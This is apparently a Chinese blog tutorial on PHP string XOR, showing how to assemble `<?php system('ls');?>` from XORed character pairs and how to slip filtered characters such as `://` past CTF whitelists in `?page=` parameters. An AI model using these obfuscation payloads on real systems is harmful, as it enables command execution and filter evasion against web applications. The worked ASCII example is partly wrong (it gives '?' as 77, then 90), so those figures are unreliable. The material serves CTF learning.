PHP异或

PHP异或流程:

在PHP中,两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,对两对二进制数据进行异或,异或完,再将结果转为ASCII,最后将ASCII转为字符串,即为最终结果。

异或运算法则:

0&0=0;1&1=0;0&1=1;1&0=1
两个二进制数相同时,异或为0,不同为1

例:php中的字符串A和字符串?

<?php
echo "A"^"?";
//输出:~
/*
(1)
A的ASCII值:65
?的ASCII值:77
(2)
65转为二进制:1000001
90转为二进制:0111111
(3)
二进制异或结果:1111110
二进制转为ASCII:126
ASCII转为字符串:~
*/
?>

利用异或制作php执行代码:

<?php
echo ("<"^"a")."<br/>";
echo ("?"^"d")."<br/>";
echo ("p"^"1")."<br/>";
echo ("h"^"1")."<br/>";
echo ("p"^"1")."<br/>";
echo (" "^"a")."<br/>";
echo ("s"^"1")."<br/>";
echo ("y"^"1")."<br/>";
echo ("s"^"2")."<br/>";
echo ("t"^"1")."<br/>";
echo ("e"^"1")."<br/>";
echo ("m"^"6")."<br/>";
echo ("("^"a")."<br/>";
echo ("'"^"a")."<br/>";
echo ("l"^"1")."<br/>";
echo ("s"^"1")."<br/>";
echo ("'"^"a")."<br/>";
echo (")"^"a")."<br/>";
echo (";"^"a")."<br/>";
echo ("?"^"b")."<br/>";
echo (">"^"c")."<br/>";

echo "<br/>";

echo ("]"^"a")."<br/>";
echo ("["^"d")."<br/>";
echo ("A"^"1")."<br/>";
echo ("Y"^"1")."<br/>";
echo ("A"^"1")."<br/>";
echo ("A"^"a")."<br/>";
echo ("B"^"1")."<br/>";
echo ("H"^"1")."<br/>";
echo ("A"^"2")."<br/>";
echo ("E"^"1")."<br/>";
echo ("T"^"1")."<br/>";
echo ("["^"6")."<br/>";
echo ("I"^"a")."<br/>";
echo ("F"^"a")."<br/>";
echo ("]"^"1")."<br/>";
echo ("B"^"1")."<br/>";
echo ("F"^"a")."<br/>";
echo ("H"^"a")."<br/>";
echo ("Z"^"a")."<br/>";
echo ("]"^"b")."<br/>";
echo ("]"^"c")."<br/>";
/*输出
]
[
A
Y
A
A
B
H
A
E
T
[
I
F
]
B
F
H
Z
]
]

<
?
p
h
p

s
y
s
t
e
m
(
'
l
s
'
)
;
?
>
*/

echo ("AYAABHAET[IF]BFHZ]]"^"ad111a112116aa11aaabc");
//没有输出,因为<?php system('ls');?>是代码,已经执行了,但var_dump()会显示有21个字符,或者两边都删除前两位,即可看到值
?>

制作时,^左边为我们想要的php字符,右边可设置1~9/a-z/A-Z,只要得到异或出来的值即可,之后将得到的值替换原来^左边的值,再次异或,即为你想要的php字符。如上面的"<"^“a”,异或后的值为],再将原来的<替换为],"]"^"a"的结果为<,所以我们绕过时,可以使用异或来得到我们想要的值

打CTF时,若遇到白名单过滤,但没有过滤\^,可以使用该方法绕过,例如:http://x.x.x.x/?page=php://input,如果目标过滤:和/时这时,就可以使用http://x.x.x.x/?page=php"[NN"^"aaa"input,这里使用"[NN"^"aaa"异或后的值即表示被过滤的://,但需要注意的是,目标不能同时都过滤单双引号
但我们可以拼凑使得异或两边的都是英文字母,这样就不需要加单或双引号例:

echo (@AAA^@qwe);
//输出06$

到时候就可以也绕过单双引号,payload类似http://x.x.x.x/?page=@xx^@xx这样就可以了

发布了135 篇原创文章 · 获赞 51 · 访问量 5万+

猜你喜欢

转载自blog.csdn.net/qq_41617034/article/details/104441032